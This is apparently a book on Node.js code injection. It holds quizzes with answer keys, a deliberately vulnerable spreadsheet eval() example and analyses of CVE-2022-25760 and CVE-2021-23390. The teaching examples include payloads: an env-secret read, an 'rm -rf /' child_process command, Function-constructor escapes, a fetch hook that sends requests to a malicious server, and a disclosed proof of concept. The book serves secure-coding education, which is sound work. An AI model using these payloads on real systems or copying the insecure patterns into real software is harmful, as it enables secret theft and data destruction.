2. What is the purpose of OWASP?

a. To promote open-source software

b. To create a community of software developers

c. To improve the security of software

d. To improve website design

16 | Chapter 1. Introduction to Application Security


3. What is the OWASP Top 10?

a. A list of the most critical web application security risks

b. A list of the top ten programming languages

c. A list of the top ten web development frameworks

d. A list of the top ten web hosting providers

4. What is penetration testing?

a. A type of offensive security attack

b. A type of security testing

c. A type of code security static analysis test

d. A type of code security dynamic analysis test

5. What is source-to-sink in software development?

a. The process of compiling source code into machine code

b. The process of running a program and observing its output

c. The flow of data within a program from user input to where it is used

d. The process of debugging and fixing errors in code

6. What is the difference between a CVSS and a CVE?

a. CVSS is a scoring system used to assess the severity of a vulnerability, while CVE is a database of
known vulnerabilities

b. CVE is a scoring system used to assess the severity of a vulnerability, while CVSS is a database of
known vulnerabilities

c. Both CVSS and CVE are databases of known vulnerabilities, but CVE focuses on the impact of the
vulnerability, while CVSS focuses on its severity

d. Both CVSS and CVE are scoring systems used to assess the severity of a vulnerability, but CVSS is
more widely used in the industry

7. What is the difference between MITRE and NVD?

a. MITRE is a government organization that focuses on cybersecurity research, while NVD is a


database of known vulnerabilities

b. NVD is a government organization that focuses on cybersecurity research, while MITRE is a


database of known vulnerabilities

c. Both MITRE and NVD are databases of known vulnerabilities, but MITRE focuses on the impact of
the vulnerability, while NVD focuses on its severity

d. Both MITRE and NVD are organizations that focus on cybersecurity research, but MITRE is more
widely known in the industry.

8. Which of the following best describes arbitrary code execution (ACE)?

a. The ability of an attacker to execute arbitrary code on a target system or application

Chapter 1. Introduction to Application Security | 17


b. The ability of an attacker to inject arbitrary code into an application

c. A specific type of vulnerability that allows arbitrary code execution

d. A technique used by developers to prevent code injection attacks

9. What is the relationship between arbitrary code injection and arbitrary code execution?

a. Arbitrary code injection always leads to arbitrary code execution

b. Arbitrary code execution is a prerequisite for arbitrary code injection

c. They are two different terms that refer to the same concept

d. Arbitrary code injection can lead to arbitrary code execution if a vulnerability is successfully
exploited

10. Which of the following is an example of a vulnerability that could result in arbitrary code
execution?

a. Cross-Site Scripting (XSS)

b. SQL Injection

c. Insecure Deserialization

d. All of the above

11. What is the purpose of a sandbox in the context of Node.js?

a. To restrict the execution of untrusted code and isolate it from the rest of the system

b. To provide a secure environment for running trusted code

c. To analyze code for potential vulnerabilities before execution

d. To optimize the performance of code execution

12. Which statement is true regarding the effectiveness of sandboxes in mitigating code injection
attacks?

a. Sandboxes are highly effective and recommended as a primary defense against code injection
attacks

b. Sandboxes are generally ineffective and should not be relied upon as a sole defense mechanism

c. Sandboxes are only effective when combined with other security measures

d. Sandboxes are only effective for specific types of code injection attacks

13. What is exfiltration in the context of application security?

a. The process of injecting malicious code into an application

b. The unauthorized transfer of data from a system or network to an external location controlled by
an attacker

c. A technique used by developers to secure application data

d. A type of vulnerability that allows arbitrary code execution

18 | Chapter 1. Introduction to Application Security


14. Which of the following scenarios could lead to data exfiltration?

a. An attacker exploiting a vulnerability to gain unauthorized access to sensitive data

b. A developer accidentally exposes sensitive data in a public repository

c. An insider threat involving an employee stealing data from the organization

d. All of the above

Chapter 1. Introduction to Application Security | 19


1.4.1. Answers

The correct answers are as follows:

1. a)

2. c)

3. a)

4. b)

5. c)

6. a)

7. b)

8. a)

9. d)

10. d)

11. a)

12. b)

13. b)

14. d)

20 | Chapter 1. Introduction to Application Security


Chapter 2

Code Injection

This chapter introduces code injection as a security vulnerability. We also learn why Node.js code bases
and JavaScript code patterns are specifically vulnerable to code injection and how such vulnerabilities
impact Node.js applications and third-party, open-source software libraries on npm. In addition, we
discuss how the security community classifies code injection vulnerabilities.

Learnings

By the end of this chapter, you should be able to answer questions such as:

• What is a code injection vulnerability?

• What functions and platform APIs are often a source of code injection vulnerabilities in Node.js
applications?

• Is sanitization an effective security control against user input to prevent code injection
vulnerabilities?

• What makes code injection vulnerabilities common in the JavaScript language?

• How do security practitioners classify code injection vulnerabilities?

Chapter 2. Code Injection | 21


2.1. What is Code Injection
Code Injection is a software vulnerability in which insecure code may lead to arbitrary code execution.
Also known as remote code execution, it is a critical security vulnerability that poses a significant threat
to the integrity and confidentiality of applications. At its core, code injection involves exploiting the
mishandling of user input in a context where code execution happens, such as in dynamic code
evaluation.

In the context of Node.js, code injection vulnerabilities are particularly concerning due to the nature of
JavaScript as a dynamic language. JavaScript’s dynamic nature allows for executing arbitrary code at
runtime, making it susceptible to code injection attacks. Some prominent examples of JavaScript’s API
that can lead to code injection vulnerabilities include eval() and the Function() constructor. Other
common sources of insecure APIs that allow for dynamic code evaluation include browser APIs such as
setTimeout() and setInterval().

As evident by the CVEs and vulnerable npm packages we’ll uncover in this book, developers rush too
quickly to security controls such as input sanitization using regular expressions and other forms, hoping
to cleanse user input. However, these measures are inadequate and can be bypassed by attackers,
leading to code injection vulnerabilities.

2.1.1. Unveiling the Risks

Security vulnerabilities are often scored based on their potential impact on three key areas:
confidentiality, integrity, and availability. Let’s explore the risks associated with code injection
vulnerabilities in Node.js applications in the context of these three areas:

Confidentiality
Code injection vulnerabilities can lead to unauthorized access, such as API or database credentials,
and sensitive data, such as the server’s code. Attackers can exploit code injection vulnerabilities,
compromising the data’s confidentiality. Consider the following code injection snippet as an example
of an attacker’s payload:

function extractCellValue(value) {
if (value.startsWith('=')) {
return eval(value.substring(1));
}
}

// Attackers can exploit the above code snippet by injecting


// the following payload into the cell value and read sensitive data
extractCellValue('=process.env.SECRET_KEY');

22 | Chapter 2. Code Injection


Integrity
Code injection vulnerabilities can alter the application’s original behavior, leading to unauthorized
data or JavaScript code modifications. Attackers can utilize JavaScript’s dynamic nature to patch
existing core functions that manipulate the application’s logic, potentially causing data leaks or
unauthorized transactions. For example, consider the following code snippet that allows attackers to
inject malicious code to clone all fetch requests and send them to a malicious server:

const originalFetch = fetch;

window.fetch = function(url, options) {


// Send the request to a malicious server
originalFetch('https://malicious-server.com', options);
// Forward the request to the original server
return originalFetch(url, options);
};

Availability
Code injection vulnerabilities can lead to denial of service (DoS) attacks by injecting code that
consumes excessive resources or crashes the application altogether. For example, consider the
following code snippet that allows attackers to inject code that instructs the Node.js runtime to
shutdown:

eval(extractCellValue('=process.exit()'));

2.2. Code Injection Vulnerability in Practice:


The attacker crafts a carefully constructed malicious code input in a code injection attack. For example, a
code payload such as process.exit() would cause the Node.js application to halt and terminate
immediately. In another example, a code payload such as require('child_process').exec('rm
-rf /') is intended to execute arbitrary commands on the server that result in deleting all files on the
system. If attackers incorporate these code payloads into user input fields or other code execution
points, attackers can trigger runtime code evaluation on a vulnerable Node.js application server.

To demonstrate how a code injection vulnerability manifests in Node.js applications and results in code
execution, we will build on a concrete yet simplified example of a spreadsheet program. This program
will allow users to input formulas referencing other cells and perform mathematical calculations.

Chapter 2. Code Injection | 23


NOTE

The following example revolves around a simplified version of a spreadsheet program, but this is

not far from a real-world scenario. Put yourself in the seat of a Microsoft Office 365 or a Google
Sheets developer, and follow the code story as it unfolds in this chapter.

Our demo spreadsheet program will represent the spreadsheet data using a sheets object. Each key in
the sheets object represents a cell, and its value can be either a number or a formula. Here’s an initial
example of the object definition:

let sheets = {
A1: 2,
B1: 3,
C1: "=A1+B1"
};

In this example, cells A1 and B1 contain numeric values, while cell C1 contains a formula that adds the
values of A1 and B1.

We will put together a series of functions to evaluate the formulas in our spreadsheet. The first function,
evaluateSheets(sheets), will take the sheets object as input and return a new object with the
formulas evaluated. The second function, resolveCellReferences(formula, sheets) , will take a
formula and the sheets object as input and return a new formula with cell references resolved. The
third function, evaluateCell(formula, sheets) , will take a formula and the sheets object as input
and return the evaluated value of the formula.

Starting with the evaluateSheets(sheets) function that evaluates the formulas in the sheets object,
we will implement the following code:

function evaluateSheets(sheets) {
const evaluatedSheets = {};
for (const cell in sheets) {
const formula = sheets[cell];
const resolvedFormula = resolveCellReferences(formula, sheets);
const evaluatedValue = evaluateCell(resolvedFormula, sheets);
evaluatedSheets[cell] = evaluatedValue;
}
return evaluatedSheets;
}

This function iterates over the sheets object, resolves cell references in the formulas, evaluates the
formulas, and stores the evaluated values in a new evaluatedSheets object.

24 | Chapter 2. Code Injection


Next is implementing the resolveCellReferences(formula, sheets) function. This function takes
a formula and the sheets object as input. It uses a regular expression to find cell references in the
formula (for example, 'A1', 'B2') and replaces them with the corresponding cell values from the
sheets object. Here’s the code for the resolveCellReferences(formula, sheets) function:

function resolveCellReferences(formula, sheets) {


const cellRefRegex = /\b[A-Z]\d+\b/g;
return formula.toString().replace(cellRefRegex, (match) => {
const cellValue = sheets[match];
return typeof cellValue === "undefined" ? match : cellValue;
});
}

Lastly, the core business logic for evaluating the formulas is implemented in the
evaluateCell(formula, sheets) function:

function evaluateCell(formula, sheets) {


if (formula.startsWith("=")) {
try {
if (formula.startsWith("=Math.")) {
const mathFunctionCall = formula.slice(`=Math.`.length);
const cellMathResult = new Function(
`return Math.${mathFunctionCall}`
)();
return cellMathResult;
} else {
const expression = formula.slice(1);
const result = eval(expression);
return result;
}
} catch (error) {
console.error(`Error evaluating formula ${formula}: ${error}`);
return "#ERROR";
}
} else {
return formula;
}
}

This function takes a formula and the sheets object as input. If the formula starts with an equal sign ( =),
it dynamically evaluates the formula to calculate the results. If the formula begins with =Math., it creates
a new function using new Function() and evaluates the mathematical expression. Otherwise, it uses
the eval() function to evaluate the formula for other expressions.

Chapter 2. Code Injection | 25


After implementing these functions, we can evaluate the sheets object and obtain the following result:

// As a reminder, here's the initial sheets object:


let sheets = {
A1: 2,
B1: 3,
C1: "=A1+B1"
};

const evaluatedSheets = evaluateSheets(sheets);


console.dir(evaluatedSheets);

When we run the code, we get the following output:

$ node spreadsheet.js
{
A1: 2,
B1: 3,
C1: 5
}

We can assert that the value of cell C1 is correctly evaluated as the sum of A1 and B1.

Now, you are invited to spot any potential security vulnerabilities in our code. Please take a moment to
review the code above snippets we put together and identify any areas that might be exploitable.

NOTE

Did you notice the use of eval() and new Function() in the evaluateCell function? These
functions can introduce code injection vulnerabilities.

You are encouraged to take a moment to think about how an attacker could exploit the code
example and suggest a payload that, if added as a value to one of the cells, would result in
arbitrary code execution beyond the intentions of the spreadsheet evaluation logic.

The evaluateCell() function supports mathematical functions by evaluating formulas that start with
=Math.. This allows users to perform mathematical operations using built-in JavaScript Math functions.
Let’s see how this works by adding a new cell, D1, with the formula: D1: =Math.pow(A1, B1) . Re-run
the code again and confirm that our spreadsheet program supports mathematical functions:

26 | Chapter 2. Code Injection


$ node spreadsheet.js
{
A1: 2,
B1: 3,
C1: 5,
D1: 8
}

The value of cell D1 is correctly evaluated as the result of Math.pow(2, 3) , which is 8.

Let’s see if we can exploit the code injection vulnerability in the evaluateCell() function for arbitrary
code execution and introduce unintended behavior in the spreadsheet program.

If you have noticed that the evaluateCell() function uses eval() to freely evaluate any cell values
that start with an equal sign (=), you are on the right track. This capability was added to the spreadsheet
program to support functions beyond mathematical operations. For example, if a cell value has a date
such as A1: 2024-02-22 , another cell can reference it and format it as a string using the Date
constructor: B1: =new Date(A1).toDateString() . This would result in the value of cell B1 being Thu
Feb 22 2024 .

However, this also introduces a code injection vulnerability attackers can exploit to execute arbitrary
code within the Node.js application’s runtime environment. An attacker could inject any valid JavaScript
code because the cell value is passed as-is to the eval() function.

Putting this into practice, we can exploit the code injection vulnerability by setting the following cell value
for D1:

let sheets = {
A1: 2,
B1: 3,
C1: "=A1+B1",
D1: "=JSON.stringify(process.env)",
};

Running the code with the new D1 cell value will result in an evaluated cell value that contains the
environment variables that the Node.js process accesses at runtime, which can and probably includes
sensitive information such as API keys, database credentials, and other secrets.

At this point, it is clear that more malicious payloads can be injected into the spreadsheet program, such
as executing arbitrary commands using the child_process module
(require('child_process').exec('touch /tmp/garbagefile.txt') ).

Let’s re-write the evaluateCell function to remove the free-form eval() function and allow access to

Chapter 2. Code Injection | 27


Math functions only. This change will help mitigate the code injection vulnerability and prevent attackers
from executing arbitrary code within the Node.js application’s runtime environment:

function evaluateCell(formula, sheets) {


if (formula.startsWith("=Math.")) {
try {
const mathFunctionCall = formula.slice(`=Math.`.length);
const cellMathResult = new Function(`return Math.${mathFunctionCall}
`)();
return cellMathResult;
} catch (error) {
console.error(`Error evaluating formula ${formula}: ${error}`);
return "#ERROR";
}
}
return formula;
}

We can test that the updated evaluateCell() function disallows arbitrary code execution by re-
running the code with the previous process.env payload, which will return the formula as is and not
execute it: D1: =JSON.stringify(process.env) .

NOTE

What do you think of the proposed update to the evaluateCell() function?



Can you think of cell values that somebody could still exploit the program to execute arbitrary
code in the spreadsheet program?

If you are still concerned about code injection vulnerabilities in the spreadsheet program, you are right
to be cautious. Some suggestions to further mitigate code injection vulnerabilities in the spreadsheet
program could include:

1. Match JavaScript keywords that would terminate one function call and begin another. For example,
matching the ; character prevents chaining multiple function calls.

2. Assert that the ending character of the formula is a closing parenthesis ) that ensures the formula is
bounded to a single function call.

3. Given that cell values are entirely controlled by user input that then gets evaluated at runtime,
attackers can pass eval directly, such as =Math.abs(eval('process.env')); with a more
elaborate payload that sends the process.env to a remote server and returns a valid result to the
Math.abs() function call to prevent errors. To mitigate such cases, you might consider matching the
eval keyword and disallowing its use in the formula.

28 | Chapter 2. Code Injection


Let’s explore an example of how attackers exploit the code injection vector even with the strict =Math.
matching. Suppose we add the following new cell E1 to our sheets object:

let sheets = {
A1: 2,
B1: 3,
C1: "=A1+B1",
E1: "=Math.constructor.constructor('console.log(1)')()"
};

The value of cell E1 contains a malicious formula that uses the Math.constructor.constructor
technique to traverse the prototype chain and access the Function constructor. This technique allows
the attacker to create a new function executing arbitrary code (console.log(1)).

When we evaluate the sheets object with this new cell, the following happens:

$ node spreadsheet.js
1
{
A1: 2,
B1: 3,
C1: 5,
D1: 8
E1: undefined
}

As you can see, the arbitrary code console.log(1) was executed, and its output ( 1) was logged to the
console (without returning any value, hence the undefined result for the cell value). This payload
demonstrates how an attacker exploits insecure coding conventions and injects malicious JavaScript
code that executes in the context of the Node.js application.

The root cause of this vulnerability is the use of eval() and new Function() and the malleable nature
of JavaScript creates a fertile ground for code injection vulnerabilities.

Would input sanitization and more elaborate string matching patterns to disallow unwanted code have
prevented this code injection vector? Let’s assume we would have enforced the following rules to lock
down the threat surface further:

Chapter 2. Code Injection | 29


1. Disallow the formula’s use of eval and new Function .

2. To disallow Math.constructor.constructor in the formula, we would manage a closed allowlist


of Math functions that can be used in the formula.

3. We would also disallow the immediately invoked function expressions (IIFE) code pattern in the
formula, as we’ve witnessed in the E1 payload.

Now, let’s consider the following cell value for E1:

let sheets = {
A1: 2,
B1: 3,
C1: "=A1+B1",
E1: "=Math.abs({}.constructor.constructor('console.log(1)')())",
};

Running the program, you’d be met with the disappointing realization that the code injection vector is
still exploitable, and the arbitrary code console.log(1) is executed:

1
{ A1: '2', B1: '3', C1: 8, E1: NaN }

What are secure alternatives to eval and the Function constructor? can a sandboxed JavaScript
environment be trusted to execute untrusted code safely? We will explore these questions throughout
the book.

2.3. Code Injection vs Command Injection


Command Injection might sound similar, but it’s essential to understand the distinction between Code
Injection and Command Injection.

While both types of vulnerabilities can lead to severe consequences, they target different system
components and require different mitigation strategies. In Node.js API, they also manifest differently and
have different attack vectors altogether.

As demonstrated in the previous section, code injection vulnerabilities occur when an application allows
attackers to execute untrusted code within its runtime environment. Such vulnerabilities can happen
when user input is evaluated or executed as code without adequate security controls.

In a browser environment, code injection vulnerabilities can lead to Cross-Site Scripting (XSS) attacks,
where attackers inject malicious JavaScript code that executes within the context of the victim’s browser.

30 | Chapter 2. Code Injection


In Node.js, The vm module and other Node.js APIs, such as eval(), Function, and
vm.runInContext(), can be used to dynamically evaluate code strings, scripts, and functions,
potentially leading to code injection vulnerabilities.

Command injection vulnerabilities, on the other hand, occur when user input is improperly handled and
passed as part of an operating system command. These vulnerabilities arise when developers
concatenate user input with system commands without adequate security controls, such as using secure
file system APIs, output escaping, and parameterized arguments. Node.js provides several mechanisms
for executing system commands, such as child_process.exec(), child_process.execFile(),
child_process.spawn(), and child_process.fork(). The consequences of command injection
often result in unauthorized file access, data tampering, or even remote code execution, depending on
the process’s privileges.

2.4. Code Injection in CWE


Code Injection, often referred to as arbitrary code injection, is a security vulnerability identified in the
Common Weakness Enumeration (CWE) as CWE-94: Improper Control of Generation of Code ('Code
Injection').

Developers tasked with reviewing and triaging security vulnerability reports from security tools and
mitigating them with their Node.js applications should be familiar with this CWE entry, mainly due to its
high impact and devastating consequences.

CWE-94 represents a category of vulnerabilities that involve the injection of arbitrary code into an
application, leading to the unauthorized execution of code or commands. In particular, the following
CWE-95 entry is a child of CWE-94 and represents a specific type of code injection vulnerability:

CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')


represents instances where attackers exploit dynamic code evaluation functions, such as eval(), to
inject and execute arbitrary code. This vulnerability is particularly dangerous as it allows attackers to
execute arbitrary code within the application’s context, leading to unauthorized access and control
over its resources.

2.5. Test Your Knowledge


In this section, you can check your understanding of the concepts and best practices presented in this
chapter through multiple-choice questions. Answer them to the best of your ability, and check your
answers at the end of the section.

Select the correct answer (some questions may have multiple correct answers):

Chapter 2. Code Injection | 31


1. What is Code Injection?

a. A security vulnerability where untrusted code is executed by the application.

b. A technique to improve application performance by pre-compiling code sections.

c. A type of denial-of-service attack that floods the application with requests.

d. A method to inject commands into the application’s runtime environment.

2. Why are Code Injection vulnerabilities concerning in Node.js?

a. Because Node.js applications often handle user input and can execute code dynamically.

b. Due to a lack of built-in security features in the language.

c. Node.js is inherently slower than other server-side languages.

d. Because Node.js APIs provide functions that can evaluate code strings.

3. The following are JavaScript or Node.js sinks that can be used to exploit Code Injection
vulnerabilities:

a. eval()

b. Function

c. require()

d. vm.runInContext()

e. child_process.exec()

4. Code Injection vulnerabilities occur when:

a. Untrusted code is passed to the eval() function.

b. User input is directly evaluated via child_process.exec().

c. Arbitrary code is executed within the application’s runtime environment.

d. All of the above.

5. What is a potential danger of using eval() in Node.js code?

a. It can slow down the application’s performance.

b. It allows execution of arbitrary code based on user input.

c. It requires additional libraries to be installed.

d. It is not supported in the latest versions of Node.js LTS.

6. What best practice can help prevent Code Injection in Node.js applications?

a. Validating all user input with regular expressions.

b. Using an isolated sandbox environment to evaluate untrusted code using the vm module.

c. Separating user data from code execution logic.

d. Disabling the eval() function in the Node.js runtime.

32 | Chapter 2. Code Injection


7. What is the CWE ID for Code Injection vulnerabilities?

a. CWE-79

b. CWE-94

c. CWE-89

d. CWE-22

8. Which of the following is a common techniques used to exploit a code injection vulnerability?

a. Using special characters, such as ; or &&, to chain multiple commands.

b. Using regular expression patterns to match file extensions.

c. Using prototype chain traversal to access global objects.

d. Abusing dynamic require statements to load arbitrary modules.

9. What are the threats associated with code injection vulnerabilities in Node.js applications?

a. Denial of Service

b. Loss of application integrity

c. Leakage of sensitive data

d. All of the above

Chapter 2. Code Injection | 33


2.5.1. Answers

The correct answers are as follows:

1. a)

2. a) and d)

3. a), b), c) and d)

4. a) and c)

5. b)

6. c)

7. b)

8. c) and d)

9. d)

34 | Chapter 2. Code Injection


Chapter 3

CVE-2022-25760: Code injection in accesslog

The accesslog package has been available on the npm registry since its early days in July 2012. Its
purpose is to be integrated with Node.js’s core HTTP API, known more popularly as
http.createServer((req, res) ⇒ {}) , through which it can enrich the server’s request/reply
functions with logging capabilities. This pattern is often referred to as middleware.

When writing about this package, it still receives 3699 monthly downloads, which means it is still alive in
some legacy projects. Looking at the package’s download popularity, we can see that it peaked around
mid-2017 with slightly over 51,000 downloads per month:

Figure 4. The accesslog npm package downloads per month

Looking into accesslog code example reference can help provide more clarity into its expected use, as
well as reveal this third-party’s dependency age in the npm ecosystem:

var accesslog = require('accesslog')()


, http = require('http')
, port = 3000
;

http.createServer(function(req, res) {
accesslog(req, res, function() {
var content = JSON.stringify({'hello': 'world'});
res.writeHead(200, {
'Content-Type': 'application/json',
'Content-Length': content.length
});

Chapter 3. CVE-2022-25760: Code injection in accesslog | 35


res.write(content);
res.end();
});
}).listen(port, function() {
console.log('test server listening on port ' + port);
});

The example code snippet here instantiates the accesslog module with no options. However, it does
receive several. One is the ability to specify specific rules for formatting log entries. It will default to:

options.format = "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-


agent}i\""

3.1. About the vulnerability


An arbitrary code injection security vulnerability was published as CVE-2022-25760 on February 27th,
2022, impacting all versions of the accesslog package.

How, in essence, does this package work? It applies some aged conventions, which impact performance
issues and use insecure APIs. To see how that unfolds, let’s look at a stripped-down version of the
package’s source code that returns the exported accesslog function:

var compile = require('./lib/compile');


exports = module.exports = function accesslog(options) {
options || (options = {});

var stream;
stream = process.stdout;
options.format || (options.format = "%h %l %u %t \"%r\" %>s %b
\"%{Referer}i\" \"%{User-agent}i\"");

var render = compile(options.format, {options: options});

return function accessLogger(req, res, next) {


var end = res.end;
res.end = function(chunk, encoding) {
res.end = end;
res.end(chunk, encoding);
stream.write(render(exports.tokens, req, res) + '\n', 'ascii');
};

36 | Chapter 3. CVE-2022-25760: Code injection in accesslog


next && next();
};
};

Before calling the next function, which is, per convention, the next middleware function in the list, it
calls the render function, which in turn calls compile with the request and response objects so it can
format them for the logged entry. The compile function response is then used as the contents of the
output stream, whether it goes to a file or the STDOUT file descriptor.

Let’s explore the source code of ./lib/compile.js to understand how the compile function works:

./lib/compile.js

module.exports = function compile(format, context) {


format = format.replace(/"/g, '\\"');
var js = ' return "' + format.replace(/%(>?\w|{[\w-]+}i)/g,
function(_, name) {
return '"\n + (tokens["' + name +
'"].call(this, req, res) || "-") + "';
}) + '";';
return new Function('tokens, req, res', js).bind(context);
};

When compile() runs, it constructs a dynamic JavaScript function using the new Function() API,
which takes in several function arguments and then the function’s body. It builds the function using
regular expression matching to find and replace specific tokens such as %>s, the HTTP status code, and
returns this as a text string that the js variable holds.

The use of new Function() JavaScript API should raise concerns, as the code used for the compile
function concatenates user-originated input to generate a dynamic runtime JavaScript function.

Incorrectly dynamic generation of code at runtime risks a code injection vulnerability. But that said, the
first line of code in this compile function might look, what we can only assume, as an attempt to
mitigate code injection attacks. It does so by replacing potentially dangerous characters, such as the
double quote (”), with proper escape code syntax (\\”). Or perhaps this was intended to escape double
quotes because the dynamic js variable already opens a double quote in the following code: '. return
"'? Whatever the reason, this code remains vulnerable to code injection attacks, given that an attacker
controls the log formatting string.

3.2. Exploiting the vulnerability


Here is the proof of concept exploit code, as disclosed by the security researcher:

Chapter 3. CVE-2022-25760: Code injection in accesslog | 37


var accesslog = require('accesslog');

var handler = accesslog({


format: `\\\" + console.log('XSS');//`,
});

var req = {};


var res = {
end: function() {},
};

handler(req, res, function() {});


res.end();

Now let’s look at how everything flows together. Given the format option is set to:

\\\" + console.log('XSS');//

So essentially, there’s a \\ which intends to create a \ character, and then a \" which intends to create a
" character, which ends up being a \" string. When this input flows into the format.replace(/"/g,
'\\"'); in compile() , it yields the following resulting string:

\\" + console.log('XSS');//

The replace logic replaces the " character with \", so we’re left with a resulting string of \\". When later
this code is concatenated as a string text into the js variable function call, we get the final resulting
string now:

return "\\" + console.log('XSS');//";

And so, the characters \\" that was yielded by the format.replace() logic had helped close the
return statement’s string quote, then concatenate it to the string resulting from the function call to
console.log('XSS') which is part of the attack payload. Finally, the proof of concept’s characters //
at the end of the string aims to ignore any code after the injected console.log() function by treating it
as a comment.

To clarify even further with a practical token example, we can call the vulnerable compile program with
the following format string and show how it gets used:

38 | Chapter 3. CVE-2022-25760: Code injection in accesslog


compile(`Hello %>s \\\" + console.log('1');//`)();

The compile function will build the following string assigned to the js variable:

return "Hello "


+ (tokens[">s"].call(this, req, res) || "-") + " \\" + console.log('1')
;//";

At this time, there is no fixed version of accesslog.

Chapter 3. CVE-2022-25760: Code injection in accesslog | 39


3.3. Lessons Learned
This library is outdated, and its prime has passed. Nevertheless, throughout its lifetime on the npm
registry from 2012 to 2022, it gained more than 311,910 downloads, which is not an insignificant use.

Several learnings we can take from this security vulnerability in accesslog:

1. At the time of writing this, it has been 12 years since the introduction of the vulnerable code, yet a
security researcher reported it less than three years ago.

2. With hundreds of thousands of downloads over accesslog lifetime, developers have unknowingly
been running Node.js applications with this vulnerable dependency. It demonstrates how code may
inhabitate security issues for an extended time and get exploited by threat actors until they become
public knowledge.

3. Even maintainers of popular packages on npm that gain traction could still use insecure APIs such as
new Function() to dynamically evaluate JavaScript code. The consequences of this can be
unexpected and introduce security vulnerabilities.

4. Applying a deny-list to sanitize user input, such as with the regular expression case employed in the
compile function (format = format.replace(/"/g, '\\"'); ) is a not an effective security
control and vulnerability mitigation strategy. It’s a good example of how security controls can be
misused and misunderstood.

5. The accesslog package is an excellent example of how its maintainers can abandon a package,
leaving it vulnerable to security issues. It’s a good reminder that developers should be cautious when
using third-party packages and consider the security posture of the package’s maintainers.

From a JavaScript secure coding perspective, we became familiar with the new Function() API and
how it can be misused to introduce code injection vulnerabilities. The Function constructor is a
powerful tool used to create new functions at build time, but developers should use it cautiously when
invoked at runtime. In all cases, developers should avoid it when possible and use it as a last resort.

NOTE

Is this actually a valid security vulnerability or a false positive?

An important observation about this vulnerability is whether it constitutes a legitimate security


vulnerability or an API misuse by developers. That is to say, the vulnerability manifests when an
attacker can control the format option passed to the exported API by accesslog. That is a very

stretched security risk that wouldn’t be part of your classic threat model, as attackers won’t have
the necessary privileges to define the logging format schema in code. Hence, the network-level
attack vector is very unlikely.

These types of security reports often add to the negative outlook of security vulnerabilities by
maintainers, who deem such security vulnerabilities as false negatives.

40 | Chapter 3. CVE-2022-25760: Code injection in accesslog


Chapter 4

CVE-2021-23390: Code injection in total4

The total4 package is a Node.js framework from the maintainer of the former open source project
total.js and comes from the community and home of the Total.js platform. The project is an MVC-
based web application framework written in pure JavaScript, such as PHP’s Laravel or Python’s Django.

The former project, known as total.js has existed on the npm registry since February 2014 and
accounts for quite a mileage on the ecosystem, with 1,579,669 total accumulative downloads to date.

However popular it may be, total.js had almost a dozen security vulnerabilities affecting it over the
years, ranging from Path (Directory) Traversal to critical severity Code Injection types of attacks:

Figure 5. The total.js npm package security vulnerabilities on Snyk

The new total4 project supersedes the older total.js project, and while being four years old at this
time, it is demonstrating increasing downloads count. It’s currently hitting a rate of 4,880 monthly
downloads.

Chapter 4. CVE-2021-23390: Code injection in total4 | 41


Figure 6. The downloads per year for the total4 npm package

Following is an example source code taken from the official Total.js project docs, demonstrating how to
use this web application framework to create a simple web server with a WebSocket interface:

// Initializes Total.js framework 4


require('total4');

// Registers a route
ROUTE('GET /', function() {
// this === Controller
this.json({ message: 'Hello world' });
});

// Registers a WebSocket route


ROUTE('SOCKET /', function() {

// this === controller


this.on('open', function(client) {
client.send({ message: 'Hello' });
});

this.on('message', function(client, message) {


console.log(message);
});

});

// Launches a web server in "debug" mode


HTTP('debug');

This code example declares a route at the root of the accessible URL for the web server and a WebSocket
interface.

42 | Chapter 4. CVE-2021-23390: Code injection in total4


Total.js aims to be a full-fledged framework. It packs many built-in capabilities, such as routing,
authorization, themes, and localization. It even features extended capabilities, such as image
manipulation and a mail transport agent.

One of those extended capabilities is a set of utility functions that provide the following API surface:

1. U.atob(value)

2. U.copy(source, [target])

3. U.getExtension(path)

4. U.set(obj, path, value)

5. U.join(path)

6. U.ls(path, callback, [filter])

Some of these are re-implementation of already existing capabilities provided by the Node.js runtime
API, and other utility functions here exist as standalone npm modules, such as the popular lodash
library.

4.1. About the vulnerability


In particular, let’s focus on U.set() and U.get() utility functions provided by the Total.js framework.

The documentation for U.set() describes it as a way to set a value into an object according to the path,
and the function signature is defined as follows:

U.set(obj, path, value);


// @obj {Object}
// @path {String} A relative path
// @value {Object}

If this sounds very similar to the .set() API from the lodash library, then you’re correct;
it follows the same API :.set(object, path, value) .

Here is a source code snippet that serves as an example of how one would go about using Total.js’s
utility function:

const obj = {
"person": {
"name": "Dade Murphy"
}

Chapter 4. CVE-2021-23390: Code injection in total4 | 43


};

U.set(obj, 'person.name', 'Crash Override');

// obj.person.name is now set to 'Crash Override'

It’s a useful utility function that allows accessing and setting nested object values using an easily curated
path string. That is, until the unexpected happens.

On July 7th, 2021, CVE-2021-23390 was published and described as an arbitrary code execution security
vulnerability impacting all versions of the total4 npm package with versions 0.0.42 and lower.
Specifically, it mentioned the attack vector is made possible due to the U.set() and U.get() functions.
Let’s explore these more in detail.

The U.set() function is implemented as follows:

utils.js

1 exports.set = function(obj, path, value) {


2 var cachekey = 'S+' + path;
3
4 if (F.temporary.other[cachekey])
5 return F.temporary.other[cachekey](obj, value);
6
7 var arr = parsepath(path);
8 var builder = [];
9
10 for (var i = 0; i < arr.length - 1; i++) {
11 var type = arr[i + 1] ? (REGISARR.test(arr[i + 1]) ? '[]' : '{}') :
'{}';
12 var p = 'w' + (arr[i][0] === '[' ? '' : '.') + arr[i];
13 builder.push('if(typeof(' + p + ')!==\'object\'||' + p + '==null)' + p
+ '=' + type + ';');
14 }
15
16 var v = arr[arr.length - 1];
17 var ispush = v.lastIndexOf('[]') !== -1;
18 var a = builder.join(';') + ';var v=typeof(a)===\'function
\'?a(U.get(b)):a;w' + (v[0] === '[' ? '' : '.') + (ispush ? v.replace
(REGREPLACEARR, '.push(v)') : (v + '=v')) + ';return v';
19
20 if ((/__proto__|constructor|prototype|eval/).test(a))
21 throw new Error('Potential vulnerability');
22
23 var fn = new Function('w', 'a', 'b', a);
24 F.temporary.other[cachekey] = fn;

44 | Chapter 4. CVE-2021-23390: Code injection in total4


25 fn(obj, value, path);
26 };

There is a good chance that one immediate observation you made in the first three lines is the potential
concern for a prototype pollution security vulnerability. However, as we scroll down the rest of the code
for this function, lines 23-24 introduce an explicit check to mitigate this vulnerability.

As you scroll down and read through the code, did you notice the practice of dynamically concatenating
strings to create a JavaScript code? The Function constructor appears in this code snippet and raises
the question: What are the security implications of using new Function() now?

